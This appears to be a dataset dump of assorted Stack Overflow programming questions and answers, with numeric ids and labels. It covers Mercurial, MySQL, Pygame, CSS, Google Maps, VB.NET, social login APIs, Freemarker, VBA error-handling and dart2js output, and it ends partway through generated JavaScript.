| | summary: | | +---@ changeset: 86:eab05f7f7ab6 | |/ parent: 83:caf2a2a127e0 | | parent: 85:682beb5c2a22 | | user: Your Name &lt;&gt; | | date: Thu Jan 02 12:52:31 2014 -0500 | | summary: | | | o changeset: 85:682beb5c2a22 | | user: Your Name &lt;&gt; | | date: Thu Jan 02 12:38:45 2014 -0500 | | summary: | | | o changeset: 84:bde4e46678d8 | | parent: 82:729da698a926 | | user: Your Name &lt;&gt; | | date: Wed Jan 01 22:20:54 2014 -0500 | | summary: | | o | changeset: 83:caf2a2a127e0 |/ user: Your Name &lt;&gt; | date: Tue Dec 17 15:44:17 2013 -0500 | summary: | o changeset: 82:729da698a926 | user: Your Name &lt;&gt; | date: Mon Dec 16 12:41:54 2013 -0500 | summary: </code></pre> <p>Let me first start off by saying that I understand there are some differences simply due to the fact that some changes were pushed on some machines and pulled on others. Machine 1 and 2 are the primary ones I use, and it clearly doesn't differ too much. What I'm concerned about is Machine 3, which currently has 3 heads, and an additional changeset (89 instead of 88). I'm a bit confused as to what is happening, how I can fix this, and I would appreciate knowing exactly what I did to cause this so that I may avoid this type of behavior next time. Thanks in advance!</p>
9579300	0	mysql high read & write <p>I've been reading about high read or write but what about both, what would be your advice? In my case a high number of people are writing data and another set of people are reading it straight after, this is all web based and there are no pattern to determine who is writing or reading. Also because the data are changing several time per second they can't be cache, but the "cache size" could be increase to avoid mysql to issue I/O all the time. </p> <p>One of the idea would be to use mysql cluster, but the data will have to be write to all nodes at the same time, what would be the impact in term of performance. </p> <p>Seeking for advices. </p>
20892772	1	Pygame: Drawing a circle after input <p>this seemed like a really simple code, this is why I'm even more confused that it won't work. I'm creating a game that draws different lines of a picture and, after each shape, asks the user what it could be. My problem is that it won't even draw the first circle once I have the input()-part included, but without the input, it works perfectly fine. </p> <pre><code>import pygame, sys from pygame.locals import * pygame.init() screen = pygame.display.set_mode((1000, 600)) pygame.display.set_caption('PyDoodle') clock= pygame.time.Clock() clock.tick(30) #importing background pictures: backPimg = pygame.image.load('Wood.jpg') backPimg = pygame.image.load('Paper.jpg') backWx = 0 backWy = 0 backPx = 250 backPy = 0 screen.blit(backWimg, (backWx, backWy)) screen.blit(backPimg, (backPx, backPy)) #colors black = (0, 0, 0) #solutions snowman = ('snowman'.capitalize(), 'snow man'.upper(), 'snowman', 'snow man') #MAIN GAME while True: for event in pygame.event.get() if event.type == QUIT: pygame.quit() sys.exit() pygame.display.update() #DRAWING #1: SNOWMAN #circle 1 - the part that's getting on my nerves pygame.draw.circle(screen, black, (500,400), 70, 2) guess1 = raw_input('Your guess:\n') </code></pre> <p>It'd be really nice if you could have a look at it, maybe you have some suggestions.</p>
24556501	0	 <p>That's because you incorrectly calculating percentage for columns <code>margin</code> and <code>width</code>.</p> <p>Since you use <a href="http://www.w3schools.com/cssref/css3_pr_box-sizing.asp" rel="nofollow"><code>box-sizing: border-box;</code></a> on <code>section#hp-cols</code>, the inner width for the section with <code>10px</code> padding in both side is <strong><code>1120px</code></strong>, <em>not</em> <strong><code>1140px</code></strong>. If you use <code>width: 31.57894%;</code> (<code>360px</code> divided by <code>1140px</code>) for your column, it would give you columns with <strong><code>353px</code> wide</strong> <em>instead of</em> <strong><code>360px</code></strong> (since <code>31.57894%</code> of <code>1120px</code> is <code>353px</code>).</p> <p>The solution is to recalculate all percentage value, and use 1120 as divider. It should be like this.</p> <pre><code>section#hp-cols { padding: 0 .89285714%; /* 10px / 1120px */ } section#hp-cols ul li { width: 32.1428571%; /* 360px / 1120px */ } section#hp-cols ul li:nth-child(2) { margin: 0 1.78571429%; /* 20px / 1120px */ } </code></pre> <p>Here is the <a href="http://jsfiddle.net/cuplizian/7Aq74/" rel="nofollow"><strong>fiddle</strong></a> and <a href="http://fiddle.jshell.net/cuplizian/7Aq74/show/light/" rel="nofollow"><strong>full demo</strong></a> of fluid width page. I also made <a href="http://jsfiddle.net/cuplizian/J8EJ6/" rel="nofollow">fiddle</a> and <a href="http://fiddle.jshell.net/cuplizian/J8EJ6/show/light/" rel="nofollow">demo</a> of fixed width page for comparison.</p> <p>Hope it helps :)</p>
9889616	0	 <p>It appears the ruby-mysql gem supports this: <a href="https://github.com/tmtm/ruby-mysql/blob/master/lib/mysql.rb#L406-419" rel="nofollow">https://github.com/tmtm/ruby-mysql/blob/master/lib/mysql.rb#L406-419</a></p> <p>I assume it is processing this correctly. It says 'execute', but in reality it appears to simply be fetching the next set of results from a query that was already executed.</p> <pre><code> # execute next query if multiple queries are specified. # === Return # true if next query exists. def next_result return false unless more_results check_connection @fields = nil nfields = @protocol.get_result if nfields @fields = @protocol.retr_fields nfields @result_exist = true end return true end </code></pre> <p>There is reference to it here too: <a href="http://zetcode.com/db/mysqlrubytutorial/" rel="nofollow">http://zetcode.com/db/mysqlrubytutorial/</a> (Under 'Multiple Statements')</p>
31768951	0	 <p>You need to modify the control template so the fill goes in the right place.</p>
36246699	0	Google map geocode places <p>So I am working with google maps on a project I need to get lat&amp;lng from a place name (not city but a, lets say, caffee in a city, or a mall in a city). So I went with this code</p> <pre><code>var geocoder = new google.maps.Geocoder(); geocoder.geocode( { 'address': 'SCC, Sarajevo'}, function(results, status) { if (status == google.maps.GeocoderStatus.OK) { alert("location : " + results[0].geometry.location.lat() + " " +results[0].geometry.location.lng()); $("#pretragaBarInput").val("location : " + results[0].geometry.location.lat() + " " +results[0].geometry.location.lng()); } else { alert("Something got wrong " + status); } }); </code></pre> <p>(SCC is a mall in Sarajevo) But I dont get the exact lat&amp;lng from the place but rather lat&amp;lng from the city center. I've tried with other places but got the exact same coords that point to the city center</p> <p>P.s. This is just a debug script to see if its working...</p>
28769588	0	Trouble with textboxes losing focus in Visual Basic .net <p>Recently I got an assignment to make a very basic Sudoku-game in Visual Basic. To make this I am using Visual Studio Ultimate 2013 Update 4 with the .NET Framework. </p> <p>I have gotten to the point where I can check which one out of many textboxes has focus. With this also change the backgroundColor of the corresponding textbox. I have done this using this by using this method:</p> <p><code>Private Sub TextBox_GotFocus() Handles TextBox1.GotFocus, TextBox2.GotFocus, TextBox3.GotFocus Me.ActiveControl.BackColor = Color.Aquamarine End Sub </code></p> <p>To Color it back to white when any of the textboxes lost focus I used this:</p> <p><code>Private Sub TextBox_LostFocus() Handles TextBox1.LostFocus, TextBox2.LostFocus, TextBox3.LostFocus Me.ActiveControl.BackColor = Color.White End Sub </code></p> <p><strong>Now My Questions Are:</strong></p> <ol> <li>Why does the Application crash when I close it? And how do I fix this?</li> </ol> <p>(It Gives a NullReferenceException when being closed)</p> <ol start="2"> <li>Is this even a proper way to accomplish what I want? Or is there something more efficient?</li> </ol>
14222373	0	 <p>The XDR-object of InternetExplorer currently is not supported by jQuery, you'll need a plugin like <a href="https://gist.github.com/1114981" rel="nofollow"><strong>jquery.xdomain.js</strong></a></p> <p>But there is another issue: the timezone-API requires the HTTPS-protocoll , when the document that requests the API doesn't use HTTPS, it will still fail in IE.</p> <p>But you may use a serverside proxy-script that fetches the result from the timezone-API and delivers it to jQuery</p>
20897489	0	Running JQuery Async - Not interrupting site load <p>I have the following code. It slows my site down - I know because when I comment it out it cuts around 2 seconds of the load time. How can I tell jquery (I'm using jquery) to load this whenever it has time? there is no rush... anytime is fine so long as it doesn't impact the site load:</p> <pre><code>&lt;div id="indexButtonFacebookDIV" class="indexFooterButtonsDIV"&gt; &lt;div id="fb-root"&gt;&lt;/div&gt; &lt;script&gt;(function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById(id)) return; js = d.createElement(s); js.id = id; js.src = "//connect.facebook.net/en_US/all.js#xfbml=1&amp;appId=192869610731913"; fjs.parentNode.insertBefore(js, fjs); }(document, 'script', 'facebook-jssdk'));&lt;/script&gt; &lt;div class="fb-like" data-href="&lt;?php echo "$index-&gt;facebook\n";?&gt;" data-send="false" data-layout="button_count" data-width="450" data-show-faces="false" data-font="verdana"&gt;&lt;/div&gt; &lt;/div&gt; &lt;div id="indexButtonGooglePlusDIV" class="indexFooterButtonsDIV"&gt; &lt;div class="g-plusone" data-size="tall" data-annotation="none"&gt;&lt;/div&gt; &lt;script type="text/javascript"&gt; (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/plusone.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })(); &lt;/script&gt; &lt;/div&gt; &lt;div id="indexButtonTwitterDIV" class="indexFooterButtonsDIV"&gt; &lt;a href="https://twitter.com/share" class="twitter-share-button" data-url="&lt;?php echo "$index-&gt;twitter\n";?&gt;" data-dnt="true"&gt;Tweet&lt;/a&gt; &lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");&lt;/script&gt; &lt;/div&gt; </code></pre> <p>I tried using head.js script but I couldn't get it to async the load... </p> <p>thankyou</p>
9752320	0	Repeatedly check the login status of the user? <p>I would like to regularly check the status of the logged in user. My method is as follows but I am unsure as to whether this is the best way to go about it.</p> <pre><code>window.fbAsyncInit=function(){ FB.init({ appId:'123', status:true, cookie:true, xfbml:true, channelUrl:'file', oauth:true }); setInterval(function(){ FB.getLoginStatus(function(a){ // do something },300000); }); } </code></pre> <p><strong>I am aware of the 'subscribe' functions but I am not really sure what they are for. If these are suitable then I will consider using them but I need to have a clearer picture of what they do and how often. I have read the documentation and they simply say that it attaches a handler. This is not very detailed!! What does it attach a handler to!!??</strong></p> <p>Additionally, if I want to call FB.getLoginStatus outside of the 'fbAsyncInit' function, is this possible?</p> <p>Any help much appreciated.</p>
11607782	0	 <p>You can open google maps with intent giving your starting point and end point.</p> <pre><code>Intent navigation = new Intent(Intent.ACTION_VIEW, Uri .parse("http://maps.google.com/maps?saddr=" + Constants.latitude + "," + Constants.longitude + "&amp;daddr=" + latitude + "," + longitude)); startActivity(navigation); </code></pre> <p>This opens any maps application. Means a browser or google maps application. If you just want google maps and get rid of the dialog you can give the intent a hint as to which package you want to use.</p> <p>Before the <code>startActivity()</code> add this:</p> <pre><code>intent.setClassName("com.google.android.apps.maps", "com.google.android.maps.MapsActivity"); </code></pre>
15522958	0	Google Plus Login API not working on production server <p>I have implemented the google plus api on development server and it works fine. I used the same code on production server. But after requesting the permission it takes a long time to return to my site and login.</p> <p>Can anyone please let me know what might be the cause. I have used oauth2.</p> <p>Below is the code I am using</p> <pre><code>&lt;?php session_start(); require_once 'googleplus/src/Google_Client.php'; require_once 'googleplus/src/contrib/Google_Oauth2Service.php'; class Webpage_UserGPlusLogin extends Webpage { public function __construct() { $temp_redirect = $_SESSION['RETURN_URL_AFTERLOGIN']; $this-&gt;title = 'User Account'; $client = new Google_Client(); $client-&gt;setApplicationName(WEBSITE_NAME); $client-&gt;setClientId(GOOGLE_PLUS_CLIENT_ID); // Client Id $client-&gt;setClientSecret(GOOGLE_PLUS_CLIENT_SECRET); // Client Secret $client-&gt;setRedirectUri(GOOGLE_PLUS_REDIRECT_URI); // Redirect Uri set while creating API account $client-&gt;setDeveloperKey(GOOGLE_PLUS_DEVELOPER_KEY); // Developer Key $oauth2 = new Google_Oauth2Service($client); if (isset($_GET['code'])) { $client-&gt;authenticate($_GET['code']); $_SESSION['token'] = $client-&gt;getAccessToken(); $redirect = GOOGLE_PLUS_REDIRECT_URI; header('Location: ' . filter_var($redirect, FILTER_SANITIZE_URL)); // Redirects to same page return; } if (isset($_SESSION['token'])) { $client-&gt;setAccessToken($_SESSION['token']); } if (isset($_REQUEST['logout'])) { unset($_SESSION['token']); $client-&gt;revokeToken(); } if(!isset($_SESSION['email_address_user_account'])) // Check if user is already logged in or not { if ($client-&gt;getAccessToken()) { $user = $oauth2-&gt;userinfo-&gt;get(); // Google API call to get current user information $email = filter_var($user['email'], FILTER_SANITIZE_EMAIL); $img = filter_var($user['picture'], FILTER_VALIDATE_URL); $googleuserid = $user['id']; $given_name = $user['given_name']; $family_name = $user['family_name']; // The access token may have been updated lazily. $_SESSION['token'] = $client-&gt;getAccessToken(); // If email address is present in DB return user data else insert user info in DB $this-&gt;result = UserAccount::gplus_sign_up($email, $googleuserid, $given_name, $family_name); // Create new user object. $this-&gt;user_account = new UserAccount($this-&gt;result['id'],$this-&gt;result['email_address'],$this-&gt;result['password'],$this-&gt;result['confirmation_code'],$this-&gt;result['is_confirmed'], $this-&gt;result['first_name'], $this-&gt;result['last_name']); $_SESSION['gplus_email_address'] = $email; $_SESSION['gplus_first_name'] = $given_name; $_SESSION['gplus_last_name'] = $family_name; $_SESSION['gplus_id'] = $googleuserid; $_SESSION['gplus_profile_pic'] = $img; $_SESSION['email_address_user_account'] = $email; } else { $authUrl = $client-&gt;createAuthUrl(); } } if(isset($temp_redirect)) header("Location:".$temp_redirect); else header("Location:/"); } } </code></pre> <p>Thanks in advance</p>
31753262	0	How does calling this function (without a definition) work? <p>So I am trying to get to grips with someone's code (and cannot contact them) and I do not understand why they do this. They call a function in main like this:</p> <pre><code>LOG_AddFunction(); </code></pre> <p>This function is defined in a header file like this:</p> <pre><code>#define LOG_AddFunction() LOG_Add(LOG_TYPE_NORMAL, "%s()", __FUNCTION__) </code></pre> <p>Then LOG_Add is defined in the same header file:</p> <pre><code>extern int LOG_Add(LOG_TYPE eType, const char *pcText, ...); </code></pre> <p>There does not seem to be any ultimate definition of the LOG_AddFunction function and I do not understand why the code calls it. Can someone shed some light on this please?</p>
13758098	0	 <p>Just Before Exporting make the paging function of the gridview as false, so that all the rows are called on demand.</p>
6020209	0	 <p>I believe the problem is that with a key of <code>lang.mail.layout.greeting</code>, Freemarker treats each part between the <code>.</code>s as a <a href="http://freemarker.sourceforge.net/docs/dgui_quickstart_datamodel.html" rel="nofollow">hash</a> i.e. a container variable that can have <em>subvariables</em>. So it attempts to get the object referenced by <code>lang</code> from the data-model and then attempts to get the variable referenced by <code>mail</code> from <code>lang</code>. In your case, however, there is no such object, hence the error.</p> <p><a href="http://freemarker.sourceforge.net/docs/dgui_template_exp.html" rel="nofollow">The documentation has this to say about variable names</a>:</p> <blockquote> <p>In this expression the variable name can contain only letters (including non-Latin letters), digits (including non-Latin digits), underline (_), dollar ($), at sign (@) and hash (#). Furthermore, the name must not start with digit.</p> </blockquote> <p>You might make use of the <a href="http://freemarker.sourceforge.net/docs/dgui_template_exp.html#dgui_template_exp_var_hash" rel="nofollow">alternative syntax to get data from a hash</a> (as long as the expression evaluates to a string)</p> <pre><code>&lt;p&gt;${lang["mail.layout.greeting"]} ${user.firstname},&lt;/p&gt; </code></pre>
26405090	0	 <p>Here's some code I threw together to handle the problem in access</p> <p>It puts error checking in all subs, but not functions. subs have to have a parent form (ACCESS), or alternatively, you have to put the form name in manually. subs that are continued over more than one line will be mercilessly whacked.</p> <p>The two subs have to be at the bottom of a module. </p> <ul> <li><strong>globalerror</strong> is your error management routine</li> <li><strong>CleaVBA_click</strong> changes your VBA code, adds line #s to everything</li> </ul> <p>globalerror looks at a boolean global <strong>errortracking</strong> to see if it logs everything or only errors</p> <p>There is a table ErrorTracking that has to be created otherwise just comment out from 1990 to 2160</p> <p>When running, it removes then adds line numbers to everything in the project, so your error message can include a line #</p> <p>Not sure if it works on anything other than stuff I've coded.</p> <p>Be sure to run and test on a copy of your VBA, because it literally rewrites every line of code in your project, and if I screwed up, and you didn't back up, then your project is broken.</p> <pre><code> Public Sub globalerror(Name As String, number As Integer, Description As String, source As String) 1970 Dim db As DAO.Database 1980 Dim rst As DAO.Recordset 1990 If errortracking Or (Err.number &lt;&gt; 0) Then 2000 Set db = CurrentDb 2010 Set rst = db.OpenRecordset("ErrorTracking") 2020 rst.AddNew 2030 rst.Fields("FormModule") = Name 2040 rst.Fields("ErrorNumber") = number 2050 rst.Fields("Description") = Description 2060 rst.Fields("Source") = source 2070 rst.Fields("timestamp") = Now() 2080 rst.Fields("Line") = Erl 2100 rst.Update 2110 rst.Close 2120 db.Close 2130 End If 2140 If Err.number = 0 Then 2150 Exit Sub 2160 End If 2170 MsgBox "ERROR" &amp; vbCrLf &amp; "Location: " &amp; Name &amp; vbCrLf &amp; "Line: " &amp; Erl &amp; vbCrLf &amp; "Number: " &amp; number &amp; vbCrLf &amp; "Description: " &amp; Description &amp; vbCrLf &amp; source &amp; vbCrLf &amp; Now() &amp; vbCrLf &amp; vbCrLf &amp; "custom message" 2180 End Sub Private Sub CleanVBA_Click() Dim linekill As Integer Dim component As Object Dim index As Integer Dim str As String Dim str2a As String Dim linenumber As Integer Dim doline As Boolean Dim skipline As Boolean Dim selectflag As Boolean Dim numstring() As String skipline = False selectflag = False tabcounter = 0 For Each component In Application.VBE.ActiveVBProject.VBComponents linekill = component.CodeModule.CountOfLines linenumber = 0 For i = 1 To linekill str = component.CodeModule.Lines(i, 1) doline = True If Right(Trim(str), 1) = "_" Then doline = False skipline = True End If If Len(Trim(str)) = 0 Then doline = False End If If InStr(Trim(str), "'") = 1 Then doline = False End If If selectflag Then doline = False End If If InStr(str, "Select Case") &gt; 0 Then selectflag = True End If If InStr(str, "End Select") &gt; 0 Then selectflag = False End If If InStr(str, "Global ") &gt; 0 Then doline = False End If If InStr(str, "Sub ") &gt; 0 Then doline = False End If If InStr(str, "Option ") &gt; 0 Then doline = False End If If InStr(str, "Function ") &gt; 0 Then doline = False End If If (InStr(str, "Sub ") &gt; 0) Then If InStr(component.CodeModule.Lines(i + 1, 1), "On Error GoTo error") &lt;&gt; 0 Then GoTo skipsub End If str2a = component.CodeModule.Name index = InStr(str, "Sub ") ' sub str = Right(str, Len(str) - index - 3) ' sub ' index = InStr(str, "Function ") ' function ' str = Right(str, Len(str) - index - 8) 'function index = InStr(str, "(") str = Left(str, index - 1) varReturn = SysCmd(acSysCmdSetStatus, "Editing: " &amp; str2a &amp; " : " &amp; str) DoEvents If (str = "CleanVBA_Click") Then MsgBox "skipping self" GoTo selfie End If If str = "globalerror" Then MsgBox "skipping globalerror" GoTo skipsub End If component.CodeModule.InsertLines i + 1, "On Error GoTo error" i = i + 1 linekill = linekill + 1 component.CodeModule.InsertLines i + 1, "error:" i = i + 1 linekill = linekill + 1 component.CodeModule.InsertLines i + 1, "Call globalerror(Me.Form.Name &amp; """ &amp; "-" &amp; str &amp; """, Err.number, Err.description, Err.source)" i = i + 1 linekill = linekill + 1 component.CodeModule.InsertLines i + 1, " " i = i + 1 linekill = linekill + 1 If (str = "MashVBA_Click") Then MsgBox "skipping self" MsgBox component.CodeModule.Name &amp; " " &amp; str GoTo selfie End If Else If skipline Then If doline Then skipline = False End If doline = False End If If doline Then linenumber = linenumber + 10 numstring = Split(Trim(str), " ") If Len(numstring(0)) &gt;= 2 Then If IsNumeric(numstring(0)) Then str = Replace(str, numstring(0), "") End If End If component.CodeModule.ReplaceLine i, linenumber &amp; " " &amp; str End If End If skipsub: Next i selfie: Next varReturn = SysCmd(acSysCmdSetStatus, " ") MsgBox "Finished" End Sub </code></pre>
2755289	0	In NetBeans IDE 6.1 how can I get icons for my custom GUI components in the GUI editor? <p>While this is by no means really important, I was just wondering if the community knows how to put icons for my custom GUI components that show up in the NetBeans GUI designer.</p> <p>What I did was make several Swing components. Then I use the menu options to add them to the GUI palette, but they show up with "?" icons. It would be nice if they showed up with icons similar to swing components such as <code>JButton</code>, especially for components which are subclassed from Swing components.</p>
36354311	0	Any Server/Client model for Android? <p>I developed an offline dictionary application in android that has local db built in sqlite shipped with it during installation. But the problem is that how to can I update, delete, add new record in the local db of application whenever it connects to the internet? Is there any specific protocol, technique, pattern or model?</p>
16339861	0	Application failed when changing user cession windows 7 <p>I have an application witch run on local admin account with MFC and user interface. When i change logon windows 7 cession, Application failed.</p> <p>How can i keep the application alive when changing windows cession?<br> Thanks for your help!</p>
9072763	0	JQuery-- how do i move (not revert) a draggable div to another div when i do an action? <p>how do i move (not revert) a draggable div to another div which is a droppable when i do an action? for example how do i move a draggable div from div-A to div-B if i click a button?</p>
30595916	0	 <p>The way the HTML the generated is different than just a different container. It also gives you some convenience default settings etc.I'd say it would be good if you have to group fields rather than arbitrary components. To quote ExtJS documentation:</p> <p>"A container for grouping sets of fields, rendered as a HTML fieldset element. The title config will be rendered as the fieldset's legend.</p> <p>While FieldSets commonly contain simple groups of fields, they are general Containers and may therefore contain any type of components in their items, including other nested containers. The default layout for the FieldSet's items is 'anchor', but it can be configured to use any other layout type.</p> <p>FieldSets may also be collapsed if configured to do so; this can be done in two ways:</p> <p>Set the collapsible config to true; this will result in a collapse button being rendered next to the legend title, or: Set the checkboxToggle config to true; this is similar to using collapsible but renders a checkbox in place of the toggle button. The fieldset will be expanded when the checkbox is checked and collapsed when it is unchecked. The checkbox will also be included in the form submit parameters using the checkboxName as its parameter name."</p>
7721397	0	How to make Proguard ignore external libraries? <p>I want to use Proguard mainly for obfuscation reasons.</p> <p>My problem is that I have three libraries, Twitter4J and two signpost libraries. These libraries caused errors when I tried to create an signed APK. To get over this I put the following in the <code>proguard.config</code> file...</p> <pre><code>-dontwarn org.apache.commons.codec.binary.** -dontwarn org.slf4j.** -dontwarn com.sun.syndication.io.** -dontwarn com.sun.syndication.feed.synd.* </code></pre> <p>While this got rid of the errors in the console, when i loaded my signed APK onto my mobile phone it instantly crashed. The DDMS said this was due to a class not found in Twitter4J. </p> <p>Getting rid of the <code>"dontwarns"</code> above did not help. Neither did adding <code>dontshrink dontoptimise</code>.</p> <p>I would like Proguard to completely ignore the libraries (as they are open source anyway). Is this possible?</p>
15575986	0	 <p>It should not be an infinite loop.</p> <p>The celery.chord_unlock task checks if the chord subtasks have finished to call the merge callback task. If not it schedules itself to check again in a second. The moment your chord tasks are completed you will no longer see those messages in the log.</p> <p>EDITED: you can revoke the chord_unlock task to stop the loop</p> <pre><code>celery.control.revoke('32ba5fe4-918c-480f-8a78-a310c11d0c3a') </code></pre>
38845763	0	Why get error from kendo ui when run the asp.net mvc application? <p>I'm beginner in asp.net mvc use the kendo UI and add it to my project but when i run the my application get this error:<br/> <a href="https://i.stack.imgur.com/oAwf8.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/oAwf8.png" alt="enter image description here"></a> <br/> How can i solve that problem?thanks.</p>
32460593	1	Including the group name in the apply function pandas python <p>Is there away to specify the groupby call to use the group name in the apply lambda function.</p> <p>For instance, if I iterate through groups I can get the group key via the following tuple decomposition:</p> <pre><code>for group_name, subdf in temp_dataframe.groupby(level=0, axis=0): print group_name </code></pre> <p>is there away to get the group name in the apply function, such as:</p> <pre><code>temp_dataframe.groupby(level=0,axis=0).apply(lambda group_name, subdf: foo(group_name, subdf) </code></pre> <p>How can I get the group name as an argument for the apply lambda function?</p> <p>Thanks!</p>
13845157	0	 <pre><code>decimal index = SeriesList.SelectMany(p =&gt; p.Childs) .FirstOrDefault(c =&gt; c.key == "aa").Value; </code></pre> <p>But keep in mind, that child with provided key should exist in list, otherwise you will get an exception. I think better to find child first, and then if child exist, get its value:</p> <pre><code>Childs child = SeriesList.SelectMany(p =&gt; p.Childs) .FirstOrDefault(c =&gt; c.key == "aa"); if (child != null) index = child.Value; </code></pre>
23723500	0	Using dart to create a javascript library <h1>The problem</h1> <p>I'm currently working on a JavaScript library, and in order to reduce the amount of bugs I thought that my library might benefit from using Dart's static typing mechanism. First, because my lib wasn't doing any interop neither with HTML nor with other JavaScript libraries, only pure javascript object manipulation stuff. However I didn't find any info on the net showing how it is possible to build a JS library using dart. So I've tried to do that myself, created initial dart file:</p> <pre class="lang-dart prettyprint-override"><code>library Repo; class Type { final String name; final TypeCategory category; Type(String name, TypeCategory category) : name = name, category = category { category.types[name] = this; } } class TypeCategory { final String name; final Map&lt;String, Type&gt; types = new Map(); TypeCategory(this.name); } class Branch { } class Descriptor { } class TableDescriptor extends Descriptor { TableDescriptor.ctor() { } } class Repo { Descriptor descriptor(String name) { } Branch branch(String name) { } void Merge() { } } main() { return Repo; } </code></pre> <p>Compiled it to JavaScript using dart2js to see how I'm doing:</p> <pre class="lang-javascript prettyprint-override"><code>// Generated by dart2js, the Dart to JavaScript compiler version: 1.3.6. // The code supports the following hooks: // dartPrint(message): // if this function is defined it is called instead of the Dart [print] // method. // // dartMainRunner(main, args): // if this function is defined, the Dart [main] method will not be invoked // directly. Instead, a closure that will invoke [main], and its arguments // [args] is passed to [dartMainRunner]. (function($) { function dart(){ this.x = 0 }var A = new dart; delete A.x; var B = new dart; delete B.x; var C = new dart; delete C.x; var D = new dart; delete D.x; var E = new dart; delete E.x; var F = new dart; delete F.x; var G = new dart; delete G.x; var H = new dart; delete H.x; var J = new dart; delete J.x; var K = new dart; delete K.x; var L = new dart; delete L.x; var M = new dart; delete M.x; var N = new dart; delete N.x; var O = new dart; delete O.x; var P = new dart; delete P.x; var Q = new dart; delete Q.x; var R = new dart; delete R.x; var S = new dart; delete S.x; var T = new dart; delete T.x; var U = new dart; delete U.x; var V = new dart; delete V.x; var W = new dart; delete W.x; var X = new dart; delete X.x; var Y = new dart; delete Y.x; var Z = new dart; delete Z.x; function Isolate() {} init(); $ = Isolate.$isolateProperties; var $$ = {}; (function (reflectionData) { "use strict"; function map(x){x={x:x};delete x.x;return x} function processStatics(descriptor) { for (var property in descriptor) { if (!hasOwnProperty.call(descriptor, property)) continue; if (property === "^") continue; var element = descriptor[property]; var firstChar = property.substring(0, 1); var previousProperty; if (firstChar === "+") { mangledGlobalNames[previousProperty] = property.substring(1); var flag = descriptor[property]; if (flag &gt; 0) descriptor[previousProperty].$reflectable = flag; if (element &amp;&amp; element.length) init.typeInformation[previousProperty] = element; } else if (firstChar === "@") { property = property.substring(1); $[property]["@"] = element; } else if (firstChar === "*") { globalObject[previousProperty].$defaultValues = element; var optionalMethods = descriptor.$methodsWithOptionalArguments; if (!optionalMethods) { descriptor.$methodsWithOptionalArguments = optionalMethods = {} } optionalMethods[property] = previousProperty; } else if (typeof element === "function") { globalObject[previousProperty = property] = element; functions.push(property); init.globalFunctions[property] = element; } else if (element.constructor === Array) { addStubs(globalObject, element, property, true, descriptor, functions); } else { previousProperty = property; var newDesc = {}; var previousProp; for (var prop in element) { if (!hasOwnProperty.call(element, prop)) continue; firstChar = prop.substring(0, 1); if (prop === "static") { processStatics(init.statics[property] = element[prop]); } else if (firstChar === "+") { mangledNames[previousProp] = prop.substring(1); var flag = element[prop]; if (flag &gt; 0) element[previousProp].$reflectable = flag; } else if (firstChar === "@" &amp;&amp; prop !== "@") { newDesc[prop.substring(1)]["@"] = element[prop]; } else if (firstChar === "*") { newDesc[previousProp].$defaultValues = element[prop]; var optionalMethods = newDesc.$methodsWithOptionalArguments; if (!optionalMethods) { newDesc.$methodsWithOptionalArguments = optionalMethods={} } optionalMethods[prop] = previousProp; } else { var elem = element[prop]; if (prop !== "^" &amp;&amp; elem != null &amp;&amp; elem.constructor === Array &amp;&amp; prop !== "&lt;&gt;") { addStubs(newDesc, elem, prop, false, element, []); } else { newDesc[previousProp = prop] = elem; } } } $$[property] = [globalObject, newDesc]; classes.push(property); } } } function addStubs(descriptor, array, name, isStatic, originalDescriptor, functions) { var f, funcs = [originalDescriptor[name] = descriptor[name] = f = array[0]]; f.$stubName = name; functions.push(name); for (var index = 0; index &lt; array.length; index += 2) { f = array[index + 1]; if (typeof f != "function") break; f.$stubName = array[index + 2]; funcs.push(f); if (f.$stubName) { originalDescriptor[f.$stubName] = descriptor[f.$stubName] = f; functions.push(f.$stubName); } } for (var i = 0; i &lt; funcs.length; index++, i++) { funcs[i].$callName = array[index + 1]; } var getterStubName = array[++index]; array = array.slice(++index); var requiredParameterInfo = array[0]; var requiredParameterCount = requiredParameterInfo &gt;&gt; 1; var isAccessor = (requiredParameterInfo &amp; 1) === 1; var isSetter = requiredParameterInfo === 3; var isGetter = requiredParameterInfo === 1; var optionalParameterInfo = array[1]; var optionalParameterCount = optionalParameterInfo &gt;&gt; 1; var optionalParametersAreNamed = (optionalParameterInfo &amp; 1) === 1; var isIntercepted = requiredParameterCount + optionalParameterCount != funcs[0].length; var functionTypeIndex = array[2]; var unmangledNameIndex = 2 * optionalParameterCount + requiredParameterCount + 3; var isReflectable = array.length &gt; unmangledNameIndex; if (getterStubName) { f = tearOff(funcs, array, isStatic, name, isIntercepted); f.getterStub = true; if (isStatic) init.globalFunctions[name] = f; originalDescriptor[getterStubName] = descriptor[getterStubName] = f; funcs.push(f); if (getterStubName) functions.push(getterStubName); f.$stubName = getterStubName; f.$callName = null; if (isIntercepted) init.interceptedNames[getterStubName] = true; } if (isReflectable) { for (var i = 0; i &lt; funcs.length; i++) { funcs[i].$reflectable = 1; funcs[i].$reflectionInfo = array; } var mangledNames = isStatic ? init.mangledGlobalNames : init.mangledNames; var unmangledName = array[unmangledNameIndex]; var reflectionName = unmangledName; if (getterStubName) mangledNames[getterStubName] = reflectionName; if (isSetter) { reflectionName += "="; } else if (!isGetter) { reflectionName += ":" + requiredParameterCount + ":" + optionalParameterCount; } mangledNames[name] = reflectionName; funcs[0].$reflectionName = reflectionName; funcs[0].$metadataIndex = unmangledNameIndex + 1; if (optionalParameterCount) descriptor[unmangledName + "*"] = funcs[0]; } } function tearOffGetterNoCsp(funcs, reflectionInfo, name, isIntercepted) { return isIntercepted ? new Function("funcs", "reflectionInfo", "name", "H", "c", "return function tearOff_" + name + (functionCounter++)+ "(x) {" + "if (c === null) c = H.closureFromTearOff(" + "this, funcs, reflectionInfo, false, [x], name);" + "return new c(this, funcs[0], x, name);" + "}")(funcs, reflectionInfo, name, H, null) : new Function("funcs", "reflectionInfo", "name", "H", "c", "return function tearOff_" + name + (functionCounter++)+ "() {" + "if (c === null) c = H.closureFromTearOff(" + "this, funcs, reflectionInfo, false, [], name);" + "return new c(this, funcs[0], null, name);" + "}")(funcs, 